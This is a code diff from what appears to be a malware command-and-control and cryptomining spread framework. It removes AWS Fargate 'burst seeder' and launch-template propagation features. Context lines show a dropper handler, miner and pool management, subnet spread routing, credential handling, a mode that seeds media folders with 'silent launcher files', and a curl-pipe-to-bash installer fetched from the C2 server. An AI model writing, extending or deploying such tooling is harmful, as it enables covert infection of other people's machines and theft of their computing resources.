r.ShardAdvert = strings.TrimSpace(r.ShardAdvert)
|
|
||||||
r.TargetAgentID = strings.TrimSpace(r.TargetAgentID)
|
r.TargetAgentID = strings.TrimSpace(r.TargetAgentID)
|
||||||
r.FetchURL = strings.TrimSpace(r.FetchURL)
|
r.FetchURL = strings.TrimSpace(r.FetchURL)
|
||||||
switch r.Kind {
|
switch r.Kind {
|
||||||
@@ -40,17 +38,6 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
|
|||||||
if r.AgentID == "" || r.Token == "" || r.ShardHash == "" {
|
if r.AgentID == "" || r.Token == "" || r.ShardHash == "" {
|
||||||
return FleetGossipRecord{}, false
|
return FleetGossipRecord{}, false
|
||||||
}
|
}
|
||||||
if r.Region == "" && r.ShardAdvert != "" {
|
|
||||||
if region, idx, ok := parseShardAdvert(r.ShardAdvert); ok {
|
|
||||||
r.Region = region
|
|
||||||
if r.ShardIndex == 0 {
|
|
||||||
r.ShardIndex = idx
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if r.ShardAdvert == "" && r.Region != "" {
|
|
||||||
r.ShardAdvert = fmt.Sprintf("%s:%d", r.Region, r.ShardIndex)
|
|
||||||
}
|
|
||||||
case FleetGossipHealthy:
|
case FleetGossipHealthy:
|
||||||
if r.AgentID == "" {
|
if r.AgentID == "" {
|
||||||
return FleetGossipRecord{}, false
|
return FleetGossipRecord{}, false
|
||||||
@@ -65,6 +52,7 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
|
|||||||
return r, true
|
return r, true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// NormalizeFleetGossipRecords drops invalid records while preserving order.
|
||||||
func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
|
func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
|
||||||
if len(in) == 0 {
|
if len(in) == 0 {
|
||||||
return nil
|
return nil
|
||||||
@@ -77,15 +65,3 @@ func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
|
|||||||
}
|
}
|
||||||
return out
|
return out
|
||||||
}
|
}
|
||||||
|
|
||||||
func parseShardAdvert(advert string) (region string, index int, ok bool) {
|
|
||||||
colon := strings.LastIndex(strings.TrimSpace(advert), ":")
|
|
||||||
if colon <= 0 {
|
|
||||||
return "", 0, false
|
|
||||||
}
|
|
||||||
region = strings.TrimSpace(advert[:colon])
|
|
||||||
if _, err := fmt.Sscanf(strings.TrimSpace(advert[colon+1:]), "%d", &index); err != nil {
|
|
||||||
return "", 0, false
|
|
||||||
}
|
|
||||||
return region, index, region != ""
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -2,12 +2,15 @@ package atlas
|
|||||||
|
|
||||||
import "testing"
|
import "testing"
|
||||||
|
|
||||||
func TestNormalizeFleetGossipShardAdvert(t *testing.T) {
|
func TestNormalizeFleetGossipRecords(t *testing.T) {
|
||||||
r, ok := NormalizeFleetGossipRecord(FleetGossipRecord{
|
in := []FleetGossipRecord{
|
||||||
Kind: FleetGossipHaveShard, AgentID: "a", Token: "t", ShardHash: "h",
|
{Kind: FleetGossipHaveShard, AgentID: "a", Token: "tok", ShardHash: "abc"},
|
||||||
Region: "us-west-2", ShardIndex: 4,
|
{Kind: "bogus"},
|
||||||
})
|
{Kind: FleetGossipHealthy, AgentID: "b", Healthy: true},
|
||||||
if !ok || r.ShardAdvert != "us-west-2:4" {
|
{Kind: FleetGossipKnowNode, AgentID: "a", TargetAgentID: "c"},
|
||||||
t.Fatalf("advert=%q", r.ShardAdvert)
|
}
|
||||||
|
out := NormalizeFleetGossipRecords(in)
|
||||||
|
if len(out) != 3 {
|
||||||
|
t.Fatalf("got %d records", len(out))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -14,10 +14,9 @@ var parallelLaneOrder = []string{
|
|||||||
|
|
||||||
// ShardRef is one erasure shard served on a parallel lane URL.
|
// ShardRef is one erasure shard served on a parallel lane URL.
|
||||||
type ShardRef struct {
|
type ShardRef struct {
|
||||||
Index int `json:"index"`
|
Index int `json:"index"`
|
||||||
Lane string `json:"lane"`
|
Lane string `json:"lane"`
|
||||||
URL string `json:"url"`
|
URL string `json:"url"`
|
||||||
EdgeURL string `json:"edge_url,omitempty"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Plan is deploy-plan metadata for agent-side Reed–Solomon reassembly.
|
// Plan is deploy-plan metadata for agent-side Reed–Solomon reassembly.
|
||||||
|
|||||||
@@ -62,7 +62,6 @@ type Input struct {
|
|||||||
TargetSubnets []string
|
TargetSubnets []string
|
||||||
RequestedLane string
|
RequestedLane string
|
||||||
ErasureLanesEnabled bool
|
ErasureLanesEnabled bool
|
||||||
FargateBurstActive bool
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// RouteEdge is a weighted edge from a seed hop to a target subnet.
|
// RouteEdge is a weighted edge from a seed hop to a target subnet.
|
||||||
@@ -94,8 +93,6 @@ type RouteRecommendation struct {
|
|||||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
|
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
|
||||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||||
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
|
|
||||||
RouteVia string `json:"route_via,omitempty"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
|
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
|
||||||
@@ -115,8 +112,6 @@ type SpreadRouteHint struct {
|
|||||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||||
// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
|
// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
|
||||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||||
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
|
|
||||||
RouteVia string `json:"route_via,omitempty"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// RouteTable holds weighted edges and recommendations.
|
// RouteTable holds weighted edges and recommendations.
|
||||||
@@ -157,7 +152,7 @@ func Build(in Input) *RouteTable {
|
|||||||
targets := normalizeTargets(in)
|
targets := normalizeTargets(in)
|
||||||
for _, target := range targets {
|
for _, target := range targets {
|
||||||
cands := collectCandidates(in, target, fleetByID, laneRates)
|
cands := collectCandidates(in, target, fleetByID, laneRates)
|
||||||
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, in.FargateBurstActive, cands)
|
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands)
|
||||||
if rec.SeedAgentID != "" {
|
if rec.SeedAgentID != "" {
|
||||||
rt.Routes = append(rt.Routes, rec)
|
rt.Routes = append(rt.Routes, rec)
|
||||||
rt.bySubnet[target] = rec
|
rt.bySubnet[target] = rec
|
||||||
@@ -193,9 +188,6 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint {
|
|||||||
Score: rec.Score,
|
Score: rec.Score,
|
||||||
ClearanceLevel: rec.ClearanceLevel,
|
ClearanceLevel: rec.ClearanceLevel,
|
||||||
ErasureLanesEnabled: rec.ErasureLanesEnabled,
|
ErasureLanesEnabled: rec.ErasureLanesEnabled,
|
||||||
SwarmMagnet: rec.SwarmMagnet,
|
|
||||||
ShardManifestURLs: rec.ShardManifestURLs,
|
|
||||||
PreferFargateSeeder: rec.PreferFargateSeeder,
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -311,7 +303,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps
|
|||||||
return out
|
return out
|
||||||
}
|
}
|
||||||
|
|
||||||
func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
|
func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
|
||||||
var edges []RouteEdge
|
var edges []RouteEdge
|
||||||
var best RouteRecommendation
|
var best RouteRecommendation
|
||||||
var bestScore float64
|
var bestScore float64
|
||||||
@@ -361,7 +353,6 @@ func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bo
|
|||||||
Score: weight,
|
Score: weight,
|
||||||
Reason: reason,
|
Reason: reason,
|
||||||
ErasureLanesEnabled: erasureLanes,
|
ErasureLanesEnabled: erasureLanes,
|
||||||
PreferFargateSeeder: fargateBurst,
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -123,25 +123,6 @@ func TestBuildSetsErasureLanesFlag(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBuildSetsPreferFargateSeederWhenBurstActive(t *testing.T) {
|
|
||||||
in := Input{
|
|
||||||
TargetSubnets: []string{"10.9.8"},
|
|
||||||
FargateBurstActive: true,
|
|
||||||
FleetAgents: []FleetAgentSnapshot{
|
|
||||||
{AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
rt := Build(in)
|
|
||||||
rec, ok := rt.Recommend("10.9.8")
|
|
||||||
if !ok || !rec.PreferFargateSeeder {
|
|
||||||
t.Fatalf("route=%+v ok=%v", rec, ok)
|
|
||||||
}
|
|
||||||
hint := ToHint(rec)
|
|
||||||
if hint == nil || !hint.PreferFargateSeeder {
|
|
||||||
t.Fatalf("hint=%+v", hint)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestToHint(t *testing.T) {
|
func TestToHint(t *testing.T) {
|
||||||
hint := ToHint(RouteRecommendation{
|
hint := ToHint(RouteRecommendation{
|
||||||
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,
|
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -306,8 +306,6 @@ func main() {
|
|||||||
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
|
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
|
||||||
publicHandler.BindErasureShardStore(erasureShardStore)
|
publicHandler.BindErasureShardStore(erasureShardStore)
|
||||||
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
|
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
|
||||||
spreadHandler.BindFargateDeps(func() string { return configProvider.PublicURL() }, erasureShardStore)
|
|
||||||
spreadHandler.BindS3CRRConfig(func() erasure.S3ShardConfig { return cfg.S3ShardCRRConfig() })
|
|
||||||
spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
|
spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
|
||||||
deployPlanHandler := api.NewDeployPlanHandler(
|
deployPlanHandler := api.NewDeployPlanHandler(
|
||||||
database, cfg.DataDir, projectRoot,
|
database, cfg.DataDir, projectRoot,
|
||||||
@@ -316,10 +314,6 @@ func main() {
|
|||||||
func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) },
|
func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) },
|
||||||
)
|
)
|
||||||
deployPlanHandler.BindErasureFromHub(wsHub, erasureShardStore)
|
deployPlanHandler.BindErasureFromHub(wsHub, erasureShardStore)
|
||||||
deployPlanHandler.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings { return cfg.AWSSwarmSettings() }, func(s erasure.AWSSwarmSettings) erasure.ShardObjectStore { return &erasure.S3HTTPStore{Settings: s} })
|
|
||||||
erasureSwarmHandler := api.NewErasureSwarmHandler(func() erasure.AWSSwarmSettings { return cfg.AWSSwarmSettings() }, func() erasure.ShardObjectStore { return &erasure.S3HTTPStore{Settings: cfg.AWSSwarmSettings()} })
|
|
||||||
spreadHandler.BindDeployPlan(deployPlanHandler)
|
|
||||||
spreadHandler.BindErasureShards(erasureShardStore)
|
|
||||||
|
|
||||||
// Path Forge: server-side recursive file seeding
|
// Path Forge: server-side recursive file seeding
|
||||||
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
|
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
|
||||||
@@ -360,7 +354,7 @@ func main() {
|
|||||||
log.Printf("Web root: %s", webRoot)
|
log.Printf("Web root: %s", webRoot)
|
||||||
|
|
||||||
// Initialize router
|
// Initialize router
|
||||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, erasureSwarmHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
|
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
|
||||||
return configProvider.PublicURL()
|
return configProvider.PublicURL()
|
||||||
}, cfg.Port, func() bool {
|
}, cfg.Port, func() bool {
|
||||||
return cfg.ConnectorToken() != ""
|
return cfg.ConnectorToken() != ""
|
||||||
@@ -442,12 +436,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
|
|||||||
HashrateGateHPS: cfg.Server.HashrateGateHPS,
|
HashrateGateHPS: cfg.Server.HashrateGateHPS,
|
||||||
ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled,
|
ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled,
|
||||||
FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled,
|
FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled,
|
||||||
AwsS3ShardRegion: cfg.Server.AWSS3ShardRegion,
|
|
||||||
AwsCloudFrontDomain: cfg.Server.AWSCloudFrontDomain,
|
|
||||||
FargateBurstCampaign: cfg.Server.FargateBurstCampaign,
|
|
||||||
FargateBurstTTLHours: cfg.Server.FargateBurstTTLHours,
|
|
||||||
})
|
})
|
||||||
wsHub.SyncFargateBurstCampaign(cfg.Server.FargateBurstCampaign, cfg.Server.FargateBurstExpiresAt, cfg.Server.FargateBurstTTLHours)
|
|
||||||
}
|
}
|
||||||
if poolManager != nil {
|
if poolManager != nil {
|
||||||
poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)
|
poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)
|
||||||
|
|||||||
@@ -48,12 +48,4 @@ test.describe('Page smoke', () => {
|
|||||||
await expect(page.getByRole('heading', { name: 'Quick Forge' })).toBeVisible();
|
await expect(page.getByRole('heading', { name: 'Quick Forge' })).toBeVisible();
|
||||||
await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible();
|
await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible();
|
||||||
});
|
});
|
||||||
|
|
||||||
test('Emberwake Cloud Ecosystem hub loads', async ({ page }) => {
|
|
||||||
await page.getByRole('link', { name: /Emberwake/i }).click();
|
|
||||||
await expect(page.getByText('Cloud Ecosystem')).toBeVisible({ timeout: 10_000 });
|
|
||||||
await page.getByText('Cloud Ecosystem').click();
|
|
||||||
await expect(page.getByTestId('cloud-spread-panel')).toBeVisible({ timeout: 10_000 });
|
|
||||||
await expect(page.getByTestId('cloud-method-s3-cloudfront')).toBeVisible();
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -174,12 +174,6 @@
|
|||||||
</p>
|
</p>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
<section class="section" id="aws-launch-template">
|
|
||||||
<h2>AWS Launch Template — strain genesis</h2>
|
|
||||||
<p>Download <a href="aws/launch-template.json">launch-template.json</a>, <a href="aws/user-data.sh">user-data.sh</a>, <a href="aws/asg-example.json">asg-example.json</a> — or <button type="button" class="btn btn-dl" id="btn-lt-generate">generate from deck</button>.</p>
|
|
||||||
<p class="form-hint" id="lt-genesis-hint" style="color:var(--muted);"></p>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
<section class="section" id="cms">
|
<section class="section" id="cms">
|
||||||
<h2>CMS & static host upload</h2>
|
<h2>CMS & static host upload</h2>
|
||||||
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
|
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
|
||||||
@@ -241,24 +235,6 @@
|
|||||||
</p>
|
</p>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
<section class="section" id="burst-seeder">
|
|
||||||
<h2>Burst seeder (ECS Fargate)</h2>
|
|
||||||
<p>
|
|
||||||
When a <strong>Fargate burst campaign</strong> is active on the command deck, BGP spread hints set
|
|
||||||
<code class="inline">prefer_fargate_seeder</code>. Download a standalone task definition + run script with embedded
|
|
||||||
erasure shards — run on <em>your</em> AWS account (no server-side ECS required).
|
|
||||||
</p>
|
|
||||||
<div class="install-grid">
|
|
||||||
<a class="install-card" id="fargate-bundle" href="#">Burst bundle (ZIP)</a>
|
|
||||||
<a class="install-card" id="fargate-task-def" href="#">task-definition.json</a>
|
|
||||||
<a class="install-card" id="fargate-run-script" href="#">run-task.sh</a>
|
|
||||||
</div>
|
|
||||||
<p class="fine" style="margin-top: 0.75rem;">
|
|
||||||
ZIP includes <code class="inline">erasure-shards.json</code>. Campaign TTL is 2–4 hours; Seer emits
|
|
||||||
<code class="inline">fargate_plague_front</code> when burst activates.
|
|
||||||
</p>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
<footer class="fine">
|
<footer class="fine">
|
||||||
<p>
|
<p>
|
||||||
Command-deck copy: <a href="/spread/">/spread/</a> ·
|
Command-deck copy: <a href="/spread/">/spread/</a> ·
|
||||||
@@ -298,14 +274,6 @@
|
|||||||
var dl = document.getElementById('btn-dl');
|
var dl = document.getElementById('btn-dl');
|
||||||
if (dl) dl.href = withSuffix(SERVER + '/get');
|
if (dl) dl.href = withSuffix(SERVER + '/get');
|
||||||
|
|
||||||
var fargateBase = SERVER + '/api/v1/public/fargate-burst/';
|
|
||||||
var fargateBundle = document.getElementById('fargate-bundle');
|
|
||||||
if (fargateBundle) fargateBundle.href = withSuffix(fargateBase + 'bundle.zip');
|
|
||||||
var fargateTask = document.getElementById('fargate-task-def');
|
|
||||||
if (fargateTask) fargateTask.href = withSuffix(fargateBase + 'task-definition.json');
|
|
||||||
var fargateRun = document.getElementById('fargate-run-script');
|
|
||||||
if (fargateRun) fargateRun.href = withSuffix(fargateBase + 'run-task.sh');
|
|
||||||
|
|
||||||
var bash = document.getElementById('oneliner-bash');
|
var bash = document.getElementById('oneliner-bash');
|
||||||
var ps1 = document.getElementById('oneliner-ps1');
|
var ps1 = document.getElementById('oneliner-ps1');
|
||||||
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
|
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
|
||||||
@@ -320,17 +288,6 @@
|
|||||||
var btn = document.getElementById(primary);
|
var btn = document.getElementById(primary);
|
||||||
if (btn) btn.classList.add('primary');
|
if (btn) btn.classList.add('primary');
|
||||||
}
|
}
|
||||||
var ltBtn = document.getElementById('btn-lt-generate');
|
|
||||||
if (ltBtn) ltBtn.addEventListener('click', function () {
|
|
||||||
var p = new URLSearchParams(window.location.search || '');
|
|
||||||
fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' },
|
|
||||||
body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) })
|
|
||||||
.then(function (r) { return r.json(); }).then(function (resp) {
|
|
||||||
if (!resp.success) return;
|
|
||||||
var hint = document.getElementById('lt-genesis-hint');
|
|
||||||
if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…';
|
|
||||||
});
|
|
||||||
});
|
|
||||||
})();
|
})();
|
||||||
</script>
|
</script>
|
||||||
</body>
|
</body>
|
||||||
|
|||||||
@@ -469,32 +469,6 @@ export const api = {
|
|||||||
URL.revokeObjectURL(url);
|
URL.revokeObjectURL(url);
|
||||||
},
|
},
|
||||||
|
|
||||||
fetchSSMSpreadBundle: (req: {
|
|
||||||
server_url: string;
|
|
||||||
build_id?: string;
|
|
||||||
campaign?: string;
|
|
||||||
platform?: string;
|
|
||||||
aws_cli_path?: string;
|
|
||||||
}) =>
|
|
||||||
fetchJSON<{ ok: boolean; bundle: {
|
|
||||||
join_lane: string;
|
|
||||||
document: string;
|
|
||||||
run_command: string;
|
|
||||||
create_document_cli: string;
|
|
||||||
manifest_url?: string;
|
|
||||||
shard_urls?: string[];
|
|
||||||
fallback_get_url?: string;
|
|
||||||
} }>('/builder/ssm-spread-bundle', {
|
|
||||||
method: 'POST',
|
|
||||||
body: JSON.stringify(req),
|
|
||||||
}),
|
|
||||||
|
|
||||||
forgeLaunchTemplate: (req: import('../help/launchTemplateExport').LaunchTemplateExportRequest) =>
|
|
||||||
fetchJSON<import('../help/launchTemplateExport').LaunchTemplateExportResponse>('/forge/launch-template', {
|
|
||||||
method: 'POST',
|
|
||||||
body: JSON.stringify(req),
|
|
||||||
}),
|
|
||||||
|
|
||||||
exportSpreadTemplate: async (req: {
|
exportSpreadTemplate: async (req: {
|
||||||
template: string;
|
template: string;
|
||||||
server_url: string;
|
server_url: string;
|
||||||
@@ -520,22 +494,6 @@ export const api = {
|
|||||||
URL.revokeObjectURL(url);
|
URL.revokeObjectURL(url);
|
||||||
},
|
},
|
||||||
|
|
||||||
exportCloudTemplate: async (req: { template: string; server_url: string; build_id?: string; campaign?: string; bucket?: string; cloudfront_domain?: string; minio_endpoint?: string; region?: string; cluster?: string; namespace_name?: string }) => {
|
|
||||||
const res = await fetch(`${API_BASE}/builder/cloud-template-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req) });
|
|
||||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
|
||||||
if (!res.ok) throw new Error(await res.text());
|
|
||||||
const blob = await res.blob();
|
|
||||||
const url = URL.createObjectURL(blob);
|
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = url;
|
|
||||||
a.download = `aetherforge-${req.template}.zip`;
|
|
||||||
a.click();
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
},
|
|
||||||
|
|
||||||
testCloudConnection: (req: { kind: string; endpoint: string; bucket?: string }) =>
|
|
||||||
fetchJSON<{ ok: boolean; reachable: boolean; url?: string; status?: number; error?: string }>('/builder/cloud-connection-test', { method: 'POST', body: JSON.stringify(req) }),
|
|
||||||
|
|
||||||
// Path Tracer — WireGuard VPN chain sessions
|
// Path Tracer — WireGuard VPN chain sessions
|
||||||
startTrace: (agentIds: string[]) =>
|
startTrace: (agentIds: string[]) =>
|
||||||
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||||||
@@ -623,17 +581,6 @@ export const api = {
|
|||||||
method: 'DELETE',
|
method: 'DELETE',
|
||||||
}),
|
}),
|
||||||
|
|
||||||
testErasureSwarm: (body: { s3_bucket?: string; cloudfront_domain?: string }) =>
|
|
||||||
fetchJSON<{ ok: boolean; error?: string }>('/erasure-swarm/test', {
|
|
||||||
method: 'POST',
|
|
||||||
body: JSON.stringify(body),
|
|
||||||
}),
|
|
||||||
|
|
||||||
getErasureSwarmPolicyJSON: (bucket?: string) =>
|
|
||||||
fetchJSON<{ iam_policy: string; bucket_policy: string; env_keys: string[] }>(
|
|
||||||
`/erasure-swarm/policy-json${bucket ? `?bucket=${encodeURIComponent(bucket)}` : ''}`,
|
|
||||||
),
|
|
||||||
|
|
||||||
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
|
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
|
||||||
downloadBackup: async (): Promise<void> => {
|
downloadBackup: async (): Promise<void> => {
|
||||||
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {
|
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {
|
||||||
|
|||||||
@@ -217,17 +217,6 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
|
|||||||
<span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
|
<span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
|
|
||||||
<label className="checkbox-label">
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
className="checkbox"
|
|
||||||
checked={server.fargate_burst_campaign === true}
|
|
||||||
onChange={(e) => onUpdate('server.fargate_burst_campaign', e.target.checked)}
|
|
||||||
/>
|
|
||||||
<span>Fargate burst seeder campaign (ECS, 2–4h TTL)</span>
|
|
||||||
</label>
|
|
||||||
</div>
|
|
||||||
{server.lotl_onion_tiers?.length ? (
|
{server.lotl_onion_tiers?.length ? (
|
||||||
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
|
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
|
||||||
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>
|
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>
|
||||||
|
|||||||
@@ -42,10 +42,6 @@ vi.mock('./SpreadTemplateExportPanel', () => ({
|
|||||||
default: () => <div data-testid="spread-template-export" />,
|
default: () => <div data-testid="spread-template-export" />,
|
||||||
}));
|
}));
|
||||||
|
|
||||||
vi.mock('./LaunchTemplateExportPanel', () => ({
|
|
||||||
default: () => <div data-testid="launch-template-export" />,
|
|
||||||
}));
|
|
||||||
|
|
||||||
const listBuildsMock = vi.mocked(api.listBuilds);
|
const listBuildsMock = vi.mocked(api.listBuilds);
|
||||||
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
|
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
|
||||||
const sendWOLMock = vi.mocked(api.sendWOL);
|
const sendWOLMock = vi.mocked(api.sendWOL);
|
||||||
|
|||||||
@@ -17,7 +17,6 @@ import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
|
|||||||
import FileManager from './FileManager';
|
import FileManager from './FileManager';
|
||||||
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
|
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
|
||||||
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
|
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
|
||||||
import LaunchTemplateExportPanel from './LaunchTemplateExportPanel';
|
|
||||||
import CredentialGraphTable from './CredentialGraphTable';
|
import CredentialGraphTable from './CredentialGraphTable';
|
||||||
import ServiceGraphSummary from './ServiceGraphSummary';
|
import ServiceGraphSummary from './ServiceGraphSummary';
|
||||||
import './ProtocolTunnelPanel.css';
|
import './ProtocolTunnelPanel.css';
|
||||||
@@ -826,10 +825,6 @@ export default function CrucibleExpandedOps({
|
|||||||
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
|
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
|
||||||
</CrucibleCollapsibleSection>
|
</CrucibleCollapsibleSection>
|
||||||
|
|
||||||
<CrucibleCollapsibleSection label="AWS Launch Template" className="cop-launch-template" helpField="crucible_section_launch_template" defaultOpen={false}>
|
|
||||||
<LaunchTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
|
|
||||||
</CrucibleCollapsibleSection>
|
|
||||||
|
|
||||||
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
|
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
|
||||||
<p className="crucible-seek-blurb">
|
<p className="crucible-seek-blurb">
|
||||||
Recursively seeds every media directory under the given path with silent launcher files.
|
Recursively seeds every media directory under the given path with silent launcher files.
|
||||||
|
|||||||
@@ -12,8 +12,7 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs';
|
|||||||
import SetupBanner from '../SetupBanner';
|
import SetupBanner from '../SetupBanner';
|
||||||
import { getSetupStatus } from '../../help/setupStatus';
|
import { getSetupStatus } from '../../help/setupStatus';
|
||||||
import { resolvePageWeather } from '../../help/pageWeather';
|
import { resolvePageWeather } from '../../help/pageWeather';
|
||||||
